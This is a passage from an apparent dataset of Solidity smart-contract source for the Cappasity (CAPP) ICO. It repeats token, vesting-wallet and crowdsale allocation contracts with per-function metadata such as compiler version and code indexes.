uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State variables
// ===============
address public manager;
// Block token transfers until ICO is finished.
bool public tokensAreFrozen = true;
// Allow/Disallow minting
bool public mintingIsAllowed = true;
// events for minting
event MintingAllowed();
event MintingDisabled();
// Freeze/Unfreeze assets
event TokensFrozen();
event TokensUnfrozen();
// Constructor
// ===========
function Cappasity(address _manager) public {
manager = _manager;
}
// Fallback function
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
// ERC20 functions
// =========================
function transfer(address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.decreaseApproval(_spender, _subtractedValue);
}
// PRIVILEGED FUNCTIONS
// ====================
modifier onlyByManager() {
require(msg.sender == manager);
_;
}
// Mint some tokens and assign them to an address
function mint(address _beneficiary, uint _value) external onlyByManager {
require(_value != 0);
require(totalSupply.add(_value) <= TOKEN_LIMIT);
require(mintingIsAllowed == true);
balances[_beneficiary] = balances[_beneficiary].add(_value);
totalSupply = totalSupply.add(_value);
}
// Disable minting. Can be enabled later, but TokenAllocation.sol only does that once.
function endMinting() external onlyByManager {
require(mintingIsAllowed == true);
mintingIsAllowed = false;
MintingDisabled();
}
// Enable minting. See TokenAllocation.sol
function startMinting() external onlyByManager {
require(mintingIsAllowed == false);
mintingIsAllowed = true;
MintingAllowed();
}
// Disable token transfer
function freeze() external onlyByManager {
require(tokensAreFrozen == false);
tokensAreFrozen = true;
TokensFrozen();
}
// Allow token transfer
function unfreeze() external onlyByManager {
require(tokensAreFrozen == true);
tokensAreFrozen = false;
TokensUnfrozen();
}
} | endMinting | function endMinting() external onlyByManager {
require(mintingIsAllowed == true);
mintingIsAllowed = false;
MintingDisabled();
}
| // Disable minting. Can be enabled later, but TokenAllocation.sol only does that once. | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
2639,
2804
]
} | 4,264 |
|||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State variables
// ===============
address public manager;
// Block token transfers until ICO is finished.
bool public tokensAreFrozen = true;
// Allow/Disallow minting
bool public mintingIsAllowed = true;
// events for minting
event MintingAllowed();
event MintingDisabled();
// Freeze/Unfreeze assets
event TokensFrozen();
event TokensUnfrozen();
// Constructor
// ===========
function Cappasity(address _manager) public {
manager = _manager;
}
// Fallback function
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
// ERC20 functions
// =========================
function transfer(address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.decreaseApproval(_spender, _subtractedValue);
}
// PRIVILEGED FUNCTIONS
// ====================
modifier onlyByManager() {
require(msg.sender == manager);
_;
}
// Mint some tokens and assign them to an address
function mint(address _beneficiary, uint _value) external onlyByManager {
require(_value != 0);
require(totalSupply.add(_value) <= TOKEN_LIMIT);
require(mintingIsAllowed == true);
balances[_beneficiary] = balances[_beneficiary].add(_value);
totalSupply = totalSupply.add(_value);
}
// Disable minting. Can be enabled later, but TokenAllocation.sol only does that once.
function endMinting() external onlyByManager {
require(mintingIsAllowed == true);
mintingIsAllowed = false;
MintingDisabled();
}
// Enable minting. See TokenAllocation.sol
function startMinting() external onlyByManager {
require(mintingIsAllowed == false);
mintingIsAllowed = true;
MintingAllowed();
}
// Disable token transfer
function freeze() external onlyByManager {
require(tokensAreFrozen == false);
tokensAreFrozen = true;
TokensFrozen();
}
// Allow token transfer
function unfreeze() external onlyByManager {
require(tokensAreFrozen == true);
tokensAreFrozen = false;
TokensUnfrozen();
}
} | startMinting | function startMinting() external onlyByManager {
require(mintingIsAllowed == false);
mintingIsAllowed = true;
MintingAllowed();
}
| // Enable minting. See TokenAllocation.sol | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
2855,
3021
]
} | 4,265 |
|||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State variables
// ===============
address public manager;
// Block token transfers until ICO is finished.
bool public tokensAreFrozen = true;
// Allow/Disallow minting
bool public mintingIsAllowed = true;
// events for minting
event MintingAllowed();
event MintingDisabled();
// Freeze/Unfreeze assets
event TokensFrozen();
event TokensUnfrozen();
// Constructor
// ===========
function Cappasity(address _manager) public {
manager = _manager;
}
// Fallback function
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
// ERC20 functions
// =========================
function transfer(address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.decreaseApproval(_spender, _subtractedValue);
}
// PRIVILEGED FUNCTIONS
// ====================
modifier onlyByManager() {
require(msg.sender == manager);
_;
}
// Mint some tokens and assign them to an address
function mint(address _beneficiary, uint _value) external onlyByManager {
require(_value != 0);
require(totalSupply.add(_value) <= TOKEN_LIMIT);
require(mintingIsAllowed == true);
balances[_beneficiary] = balances[_beneficiary].add(_value);
totalSupply = totalSupply.add(_value);
}
// Disable minting. Can be enabled later, but TokenAllocation.sol only does that once.
function endMinting() external onlyByManager {
require(mintingIsAllowed == true);
mintingIsAllowed = false;
MintingDisabled();
}
// Enable minting. See TokenAllocation.sol
function startMinting() external onlyByManager {
require(mintingIsAllowed == false);
mintingIsAllowed = true;
MintingAllowed();
}
// Disable token transfer
function freeze() external onlyByManager {
require(tokensAreFrozen == false);
tokensAreFrozen = true;
TokensFrozen();
}
// Allow token transfer
function unfreeze() external onlyByManager {
require(tokensAreFrozen == true);
tokensAreFrozen = false;
TokensUnfrozen();
}
} | freeze | function freeze() external onlyByManager {
require(tokensAreFrozen == false);
tokensAreFrozen = true;
TokensFrozen();
}
| // Disable token transfer | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
3055,
3211
]
} | 4,266 |
|||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | Cappasity | contract Cappasity is StandardToken {
// Constants
// =========
string public constant name = "Cappasity";
string public constant symbol = "CAPP";
uint8 public constant decimals = 2;
uint public constant TOKEN_LIMIT = 10 * 1e9 * 1e2; // 10 billion tokens, 2 decimals
// State variables
// ===============
address public manager;
// Block token transfers until ICO is finished.
bool public tokensAreFrozen = true;
// Allow/Disallow minting
bool public mintingIsAllowed = true;
// events for minting
event MintingAllowed();
event MintingDisabled();
// Freeze/Unfreeze assets
event TokensFrozen();
event TokensUnfrozen();
// Constructor
// ===========
function Cappasity(address _manager) public {
manager = _manager;
}
// Fallback function
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
// ERC20 functions
// =========================
function transfer(address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint _value) public returns (bool) {
require(!tokensAreFrozen);
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(!tokensAreFrozen);
return super.decreaseApproval(_spender, _subtractedValue);
}
// PRIVILEGED FUNCTIONS
// ====================
modifier onlyByManager() {
require(msg.sender == manager);
_;
}
// Mint some tokens and assign them to an address
function mint(address _beneficiary, uint _value) external onlyByManager {
require(_value != 0);
require(totalSupply.add(_value) <= TOKEN_LIMIT);
require(mintingIsAllowed == true);
balances[_beneficiary] = balances[_beneficiary].add(_value);
totalSupply = totalSupply.add(_value);
}
// Disable minting. Can be enabled later, but TokenAllocation.sol only does that once.
function endMinting() external onlyByManager {
require(mintingIsAllowed == true);
mintingIsAllowed = false;
MintingDisabled();
}
// Enable minting. See TokenAllocation.sol
function startMinting() external onlyByManager {
require(mintingIsAllowed == false);
mintingIsAllowed = true;
MintingAllowed();
}
// Disable token transfer
function freeze() external onlyByManager {
require(tokensAreFrozen == false);
tokensAreFrozen = true;
TokensFrozen();
}
// Allow token transfer
function unfreeze() external onlyByManager {
require(tokensAreFrozen == true);
tokensAreFrozen = false;
TokensUnfrozen();
}
} | unfreeze | function unfreeze() external onlyByManager {
require(tokensAreFrozen == true);
tokensAreFrozen = false;
TokensUnfrozen();
}
| // Allow token transfer | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
3243,
3403
]
} | 4,267 |
|||
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | VestingWallet | contract VestingWallet {
using SafeMath for uint;
event TokensReleased(uint _tokensReleased, uint _tokensRemaining, uint _nextPeriod);
address public foundersWallet;
address public crowdsaleContract;
ERC20 public tokenContract;
// Two-year vesting with 1 month cliff. Roughly.
bool public vestingStarted = false;
uint constant cliffPeriod = 30 days;
uint constant totalPeriods = 24;
uint public periodsPassed = 0;
uint public nextPeriod;
uint public tokensRemaining;
uint public tokensPerBatch;
// Constructor
// ===========
function VestingWallet(address _foundersWallet, address _tokenContract) public {
require(_foundersWallet != address(0));
require(_tokenContract != address(0));
foundersWallet = _foundersWallet;
tokenContract = ERC20(_tokenContract);
crowdsaleContract = msg.sender;
}
// PRIVILEGED FUNCTIONS
// ====================
function releaseBatch() external onlyFounders {
require(true == vestingStarted);
require(now > nextPeriod);
require(periodsPassed < totalPeriods);
uint tokensToRelease = 0;
do {
periodsPassed = periodsPassed.add(1);
nextPeriod = nextPeriod.add(cliffPeriod);
tokensToRelease = tokensToRelease.add(tokensPerBatch);
} while (now > nextPeriod);
// If vesting has finished, just transfer the remaining tokens.
if (periodsPassed >= totalPeriods) {
tokensToRelease = tokenContract.balanceOf(this);
nextPeriod = 0x0;
}
tokensRemaining = tokensRemaining.sub(tokensToRelease);
tokenContract.transfer(foundersWallet, tokensToRelease);
TokensReleased(tokensToRelease, tokensRemaining, nextPeriod);
}
function launchVesting() public onlyCrowdsale {
require(false == vestingStarted);
vestingStarted = true;
tokensRemaining = tokenContract.balanceOf(this);
nextPeriod = now.add(cliffPeriod);
tokensPerBatch = tokensRemaining / totalPeriods;
}
// INTERNAL FUNCTIONS
// ==================
modifier onlyFounders() {
require(msg.sender == foundersWallet);
_;
}
modifier onlyCrowdsale() {
require(msg.sender == crowdsaleContract);
_;
}
} | /**
* @dev For the tokens issued for founders.
*/ | NatSpecMultiLine | VestingWallet | function VestingWallet(address _foundersWallet, address _tokenContract) public {
require(_foundersWallet != address(0));
require(_tokenContract != address(0));
foundersWallet = _foundersWallet;
tokenContract = ERC20(_tokenContract);
crowdsaleContract = msg.sender;
}
| // Constructor
// =========== | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
611,
941
]
} | 4,268 |
|
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | VestingWallet | contract VestingWallet {
using SafeMath for uint;
event TokensReleased(uint _tokensReleased, uint _tokensRemaining, uint _nextPeriod);
address public foundersWallet;
address public crowdsaleContract;
ERC20 public tokenContract;
// Two-year vesting with 1 month cliff. Roughly.
bool public vestingStarted = false;
uint constant cliffPeriod = 30 days;
uint constant totalPeriods = 24;
uint public periodsPassed = 0;
uint public nextPeriod;
uint public tokensRemaining;
uint public tokensPerBatch;
// Constructor
// ===========
function VestingWallet(address _foundersWallet, address _tokenContract) public {
require(_foundersWallet != address(0));
require(_tokenContract != address(0));
foundersWallet = _foundersWallet;
tokenContract = ERC20(_tokenContract);
crowdsaleContract = msg.sender;
}
// PRIVILEGED FUNCTIONS
// ====================
function releaseBatch() external onlyFounders {
require(true == vestingStarted);
require(now > nextPeriod);
require(periodsPassed < totalPeriods);
uint tokensToRelease = 0;
do {
periodsPassed = periodsPassed.add(1);
nextPeriod = nextPeriod.add(cliffPeriod);
tokensToRelease = tokensToRelease.add(tokensPerBatch);
} while (now > nextPeriod);
// If vesting has finished, just transfer the remaining tokens.
if (periodsPassed >= totalPeriods) {
tokensToRelease = tokenContract.balanceOf(this);
nextPeriod = 0x0;
}
tokensRemaining = tokensRemaining.sub(tokensToRelease);
tokenContract.transfer(foundersWallet, tokensToRelease);
TokensReleased(tokensToRelease, tokensRemaining, nextPeriod);
}
function launchVesting() public onlyCrowdsale {
require(false == vestingStarted);
vestingStarted = true;
tokensRemaining = tokenContract.balanceOf(this);
nextPeriod = now.add(cliffPeriod);
tokensPerBatch = tokensRemaining / totalPeriods;
}
// INTERNAL FUNCTIONS
// ==================
modifier onlyFounders() {
require(msg.sender == foundersWallet);
_;
}
modifier onlyCrowdsale() {
require(msg.sender == crowdsaleContract);
_;
}
} | /**
* @dev For the tokens issued for founders.
*/ | NatSpecMultiLine | releaseBatch | function releaseBatch() external onlyFounders {
require(true == vestingStarted);
require(now > nextPeriod);
require(periodsPassed < totalPeriods);
uint tokensToRelease = 0;
do {
periodsPassed = periodsPassed.add(1);
nextPeriod = nextPeriod.add(cliffPeriod);
tokensToRelease = tokensToRelease.add(tokensPerBatch);
} while (now > nextPeriod);
// If vesting has finished, just transfer the remaining tokens.
if (periodsPassed >= totalPeriods) {
tokensToRelease = tokenContract.balanceOf(this);
nextPeriod = 0x0;
}
tokensRemaining = tokensRemaining.sub(tokensToRelease);
tokenContract.transfer(foundersWallet, tokensToRelease);
TokensReleased(tokensToRelease, tokensRemaining, nextPeriod);
}
| // PRIVILEGED FUNCTIONS
// ==================== | LineComment | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
1002,
1887
]
} | 4,269 |
|
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWallet, uint _tokensForFounders,
address _partnersWallet, uint _tokensForPartners);
// Token information
uint public tokenRate = 125; // 1 USD = 125 CAPP; so 1 cent = 1.25 CAPP \
// assuming CAPP has 2 decimals (as set in token contract)
Cappasity public tokenContract;
address public foundersWallet; // A wallet permitted to request tokens from the time vaults.
address public partnersWallet; // A wallet that distributes the tokens to early contributors.
// Crowdsale progress
uint constant public hardCap = 5 * 1e7 * 1e2; // 50 000 000 dollars * 100 cents per dollar
uint constant public phaseOneCap = 3 * 1e7 * 1e2; // 30 000 000 dollars * 100 cents per dollar
uint public totalCentsGathered = 0;
// Total sum gathered in phase one, need this to adjust the bonus tiers in phase two.
// Updated only once, when the phase one is concluded.
uint public centsInPhaseOne = 0;
uint public totalTokenSupply = 0; // Counting the bonuses, not counting the founders' share.
// Total tokens issued in phase one, including bonuses. Need this to correctly calculate the founders' \
// share and issue it in parts, once after each round. Updated when issuing tokens.
uint public tokensDuringPhaseOne = 0;
VestingWallet public vestingWallet;
enum CrowdsalePhase { PhaseOne, BetweenPhases, PhaseTwo, Finished }
enum BonusPhase { TenPercent, FivePercent, None }
uint public constant bonusTierSize = 1 * 1e7 * 1e2; // 10 000 000 dollars * 100 cents per dollar
uint public constant bigContributionBound = 1 * 1e5 * 1e2; // 100 000 dollars * 100 cents per dollar
uint public constant hugeContributionBound = 3 * 1e5 * 1e2; // 300 000 dollars * 100 cents per dollar
CrowdsalePhase public crowdsalePhase = CrowdsalePhase.PhaseOne;
BonusPhase public bonusPhase = BonusPhase.TenPercent;
/**
* @dev Constructs the allocator.
* @param _icoBackend Wallet address that should be owned by the off-chain backend, from which \
* \ it mints the tokens for contributions accepted in other currencies.
* @param _icoManager Allowed to start phase 2.
* @param _foundersWallet Where the founders' tokens to to after vesting.
* @param _partnersWallet A wallet that distributes tokens to early contributors.
*/
function TokenAllocation(address _icoManager,
address _icoBackend,
address _foundersWallet,
address _partnersWallet,
address _emergencyManager
) public {
require(_icoManager != address(0));
require(_icoBackend != address(0));
require(_foundersWallet != address(0));
require(_partnersWallet != address(0));
require(_emergencyManager != address(0));
tokenContract = new Cappasity(address(this));
icoManager = _icoManager;
icoBackend = _icoBackend;
foundersWallet = _foundersWallet;
partnersWallet = _partnersWallet;
emergencyManager = _emergencyManager;
}
// PRIVILEGED FUNCTIONS
// ====================
/**
* @dev Issues tokens for a particular address as for a contribution of size _contribution, \
* \ then issues bonuses in proportion.
* @param _beneficiary Receiver of the tokens.
* @param _contribution Size of the contribution (in USD cents).
*/
function issueTokens(address _beneficiary, uint _contribution) external onlyBackend onlyValidPhase onlyUnpaused {
// phase 1 cap less than hard cap
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - mint tokens
uint tokensToMint = tokenRate.mul(contributionPart);
mintAndUpdate(_beneficiary, tokensToMint);
TokensAllocated(_beneficiary, contributionPart, tokensToMint);
// 4 - mint bonus
uint tierBonus = calculateTierBonus(contributionPart);
if (tierBonus > 0) {
mintAndUpdate(_beneficiary, tierBonus);
BonusIssued(_beneficiary, tierBonus);
}
// 5 - advance bonus phase
if ((bonusPhase != BonusPhase.None) && (contributionPart == centsLeftInPhase)) {
advanceBonusPhase();
}
// 6 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 7 - continue?
} while (remainingContribution > 0);
// Mint contribution size bonus
uint sizeBonus = calculateSizeBonus(_contribution);
if (sizeBonus > 0) {
mintAndUpdate(_beneficiary, sizeBonus);
BonusIssued(_beneficiary, sizeBonus);
}
}
/**
* @dev Issues tokens for the off-chain contributors by accepting calls from the trusted address.
* Supposed to be run by the backend. Used for distributing bonuses for affiliate transactions
* and special offers
*
* @param _beneficiary Token holder.
* @param _contribution The equivalent (in USD cents) of the contribution received off-chain.
* @param _tokens Total token allocation size
* @param _bonus Bonus size
*/
function issueTokensWithCustomBonus(address _beneficiary, uint _contribution, uint _tokens, uint _bonus)
external onlyBackend onlyValidPhase onlyUnpaused {
// sanity check, ensure we allocate more than 0
require(_tokens > 0);
// all tokens can be bonuses, but they cant be less than bonuses
require(_tokens >= _bonus);
// check capps
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// ensure we are not over phase 1 cap after this contribution
require(totalCentsGathered.add(_contribution) <= phaseOneCap);
} else {
// ensure we are not over hard cap after this contribution
require(totalCentsGathered.add(_contribution) <= hardCap);
}
uint remainingContribution = _contribution;
// Check if the contribution fills the current bonus phase. If so, break it up in parts,
// mint tokens for each part separately, assign bonuses, trigger events. For transparency.
do {
// 1 - calculate contribution part for current bonus stage
uint centsLeftInPhase = calculateCentsLeftInPhase(remainingContribution);
uint contributionPart = min(remainingContribution, centsLeftInPhase);
// 3 - log the processed part of the contribution
totalCentsGathered = totalCentsGathered.add(contributionPart);
remainingContribution = remainingContribution.sub(contributionPart);
// 4 - advance bonus phase
if ((remainingContribution == centsLeftInPhase) && (bonusPhase != BonusPhase.None)) {
advanceBonusPhase();
}
} while (remainingContribution > 0);
// add tokens to the beneficiary
mintAndUpdate(_beneficiary, _tokens);
// if tokens arent equal to bonus
if (_tokens > _bonus) {
TokensAllocated(_beneficiary, _contribution, _tokens.sub(_bonus));
}
// if bonus exists
if (_bonus > 0) {
BonusIssued(_beneficiary, _bonus);
}
}
/**
* @dev Issues the rewards for founders and early contributors. 18% and 12% of the total token supply by the end
* of the crowdsale, respectively, including all the token bonuses on early contributions. Can only be
* called after the end of the crowdsale phase, ends the current phase.
*/
function rewardFoundersAndPartners() external onlyManager onlyValidPhase onlyUnpaused {
uint tokensDuringThisPhase;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
tokensDuringThisPhase = totalTokenSupply;
} else {
tokensDuringThisPhase = totalTokenSupply - tokensDuringPhaseOne;
}
// Total tokens sold is 70% of the overall supply, founders' share is 18%, early contributors' is 12%
// So to obtain those from tokens sold, multiply them by 0.18 / 0.7 and 0.12 / 0.7 respectively.
uint tokensForFounders = tokensDuringThisPhase.mul(257).div(1000); // 0.257 of 0.7 is 0.18 of 1
uint tokensForPartners = tokensDuringThisPhase.mul(171).div(1000); // 0.171 of 0.7 is 0.12 of 1
tokenContract.mint(partnersWallet, tokensForPartners);
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
vestingWallet = new VestingWallet(foundersWallet, address(tokenContract));
tokenContract.mint(address(vestingWallet), tokensForFounders);
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
// Store the total sum collected during phase one for calculations in phase two.
centsInPhaseOne = totalCentsGathered;
tokensDuringPhaseOne = totalTokenSupply;
// Enable token transfer.
tokenContract.unfreeze();
crowdsalePhase = CrowdsalePhase.BetweenPhases;
} else {
tokenContract.mint(address(vestingWallet), tokensForFounders);
vestingWallet.launchVesting();
FoundersAndPartnersTokensIssued(address(vestingWallet), tokensForFounders,
partnersWallet, tokensForPartners);
crowdsalePhase = CrowdsalePhase.Finished;
}
tokenContract.endMinting();
}
/**
* @dev Set the CAPP / USD rate for Phase two, and then start the second phase of token allocation.
* Can only be called by the crowdsale manager.
* _tokenRate How many CAPP per 1 USD cent. As dollars, CAPP has two decimals.
* For instance: tokenRate = 125 means "1.25 CAPP per USD cent" <=> "125 CAPP per USD".
*/
function beginPhaseTwo(uint _tokenRate) external onlyManager onlyUnpaused {
require(crowdsalePhase == CrowdsalePhase.BetweenPhases);
require(_tokenRate != 0);
tokenRate = _tokenRate;
crowdsalePhase = CrowdsalePhase.PhaseTwo;
bonusPhase = BonusPhase.TenPercent;
tokenContract.startMinting();
}
/**
* @dev Allows to freeze all token transfers in the future
* This is done to allow migrating to new contract in the future
* If such need ever arises (ie Migration to ERC23, or anything that community decides worth doing)
*/
function freeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.freeze();
}
function unfreeze() external onlyUnpaused onlyEmergency {
require(crowdsalePhase != CrowdsalePhase.PhaseOne);
tokenContract.unfreeze();
}
// INTERNAL FUNCTIONS
// ====================
function calculateCentsLeftInPhase(uint _remainingContribution) internal view returns(uint) {
// Ten percent bonuses happen in both Phase One and Phase two, therefore:
// Take the bonus tier size, subtract the total money gathered in the current phase
if (bonusPhase == BonusPhase.TenPercent) {
return bonusTierSize.sub(totalCentsGathered.sub(centsInPhaseOne));
}
if (bonusPhase == BonusPhase.FivePercent) {
// Five percent bonuses only happen in Phase One, so no need to account
// for the first phase separately.
return bonusTierSize.mul(2).sub(totalCentsGathered);
}
return _remainingContribution;
}
function mintAndUpdate(address _beneficiary, uint _tokensToMint) internal {
tokenContract.mint(_beneficiary, _tokensToMint);
totalTokenSupply = totalTokenSupply.add(_tokensToMint);
}
function calculateTierBonus(uint _contribution) constant internal returns (uint) {
// All bonuses are additive and not multiplicative
// Calculate bonus on contribution size, then convert it to bonus tokens.
uint tierBonus = 0;
// tierBonus tier tierBonuses. We make sure in issueTokens that the processed contribution \
// falls entirely into one tier
if (bonusPhase == BonusPhase.TenPercent) {
tierBonus = _contribution.div(10); // multiply by 0.1
} else if (bonusPhase == BonusPhase.FivePercent) {
tierBonus = _contribution.div(20); // multiply by 0.05
}
tierBonus = tierBonus.mul(tokenRate);
return tierBonus;
}
function calculateSizeBonus(uint _contribution) constant internal returns (uint) {
uint sizeBonus = 0;
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
// 10% for huge contribution
if (_contribution >= hugeContributionBound) {
sizeBonus = _contribution.div(10); // multiply by 0.1
// 5% for big one
} else if (_contribution >= bigContributionBound) {
sizeBonus = _contribution.div(20); // multiply by 0.05
}
sizeBonus = sizeBonus.mul(tokenRate);
}
return sizeBonus;
}
/**
* @dev Advance the bonus phase to next tier when appropriate, do nothing otherwise.
*/
function advanceBonusPhase() internal onlyValidPhase {
if (crowdsalePhase == CrowdsalePhase.PhaseOne) {
if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.FivePercent;
} else if (bonusPhase == BonusPhase.FivePercent) {
bonusPhase = BonusPhase.None;
}
} else if (bonusPhase == BonusPhase.TenPercent) {
bonusPhase = BonusPhase.None;
}
}
function min(uint _a, uint _b) internal pure returns (uint result) {
return _a < _b ? _a : _b;
}
/**
* Modifiers
*/
modifier onlyValidPhase() {
require( crowdsalePhase == CrowdsalePhase.PhaseOne
|| crowdsalePhase == CrowdsalePhase.PhaseTwo );
_;
}
// Do not allow to send money directly to this contract
function() payable public {
revert();
}
} | /**
* @dev Prepaid token allocation for a capped crowdsale with bonus structure sliding on sales
* Written with OpenZeppelin sources as a rough reference.
*/ | NatSpecMultiLine | TokenAllocation | function TokenAllocation(address _icoManager,
address _icoBackend,
address _foundersWallet,
address _partnersWallet,
address _emergencyManager
) public {
require(_icoManager != address(0));
require(_icoBackend != address(0));
require(_foundersWallet != address(0));
require(_partnersWallet != address(0));
require(_emergencyManager != address(0));
tokenContract = new Cappasity(address(this));
icoManager = _icoManager;
icoBackend = _icoBackend;
foundersWallet = _foundersWallet;
partnersWallet = _partnersWallet;
emergencyManager = _emergencyManager;
}
| /**
* @dev Constructs the allocator.
* @param _icoBackend Wallet address that should be owned by the off-chain backend, from which \
* \ it mints the tokens for contributions accepted in other currencies.
* @param _icoManager Allowed to start phase 2.
* @param _foundersWallet Where the founders' tokens to to after vesting.
* @param _partnersWallet A wallet that distributes tokens to early contributors.
*/ | NatSpecMultiLine | v0.4.18+commit.9cf6e910 | bzzr://aae7252a04d75dd9b6180657454476c6b715329f50bb603876154f65c5a464a0 | {
"func_code_index": [
2770,
3602
]
} | 4,270 |
|
TokenAllocation | TokenAllocation.sol | 0xf67acb7b9226e482afcf7f08aac9466c50c19d9c | Solidity | TokenAllocation | contract TokenAllocation is GenericCrowdsale {
using SafeMath for uint;
// Events
event TokensAllocated(address _beneficiary, uint _contribution, uint _tokensIssued);
event BonusIssued(address _beneficiary, uint _bonusTokensIssued);
event FoundersAndPartnersTokensIssued(address _foundersWallet, uint _tokensForFounders,
address _partnersWallet, uint _tokensForPartners);
// Token information
uint public tokenRate = 125; // 1 USD = 125 CAPP; so 1 cent = 1.25 CAPP \
// assuming CAPP has 2 decimals (as set in token contract)
Cappasity public tokenContract;
address public foundersWallet; // A wallet permitted to request tokens from the time vaults.
address public partnersWallet; // A wallet that distributes the tokens to early contributors.
// Crowdsale progress
uint constant public hardCap = 5 * 1e7 * 1e2; // 50 000 000 dollars * 100 cents per dollar
uint constant public phaseOneCap = 3 * 1e7 * 1e2; // 30 000 000 dollars * 100 cents per dollar
uint public totalCentsGathered = 0;
// Total sum gathered in phase one, need this to adjust the bonus tiers in phase two.
// Updated only once, when the phase one is concluded.
uint public centsInPhaseOne = 0;
uint public totalTokenSupply = 0; // Counting the bonuses, not counting the founders' share.
// Total tokens issued in phase one, including bonuses. Need this to correctly calculate the founders' \
// share and issue it in parts, once after each round. Updated when issuing tokens.
uint public tokensDuringPhaseOne = 0;
VestingWallet public vestingWallet;
enum CrowdsalePhase { PhaseOne, BetweenPhases, PhaseTwo, Finished }
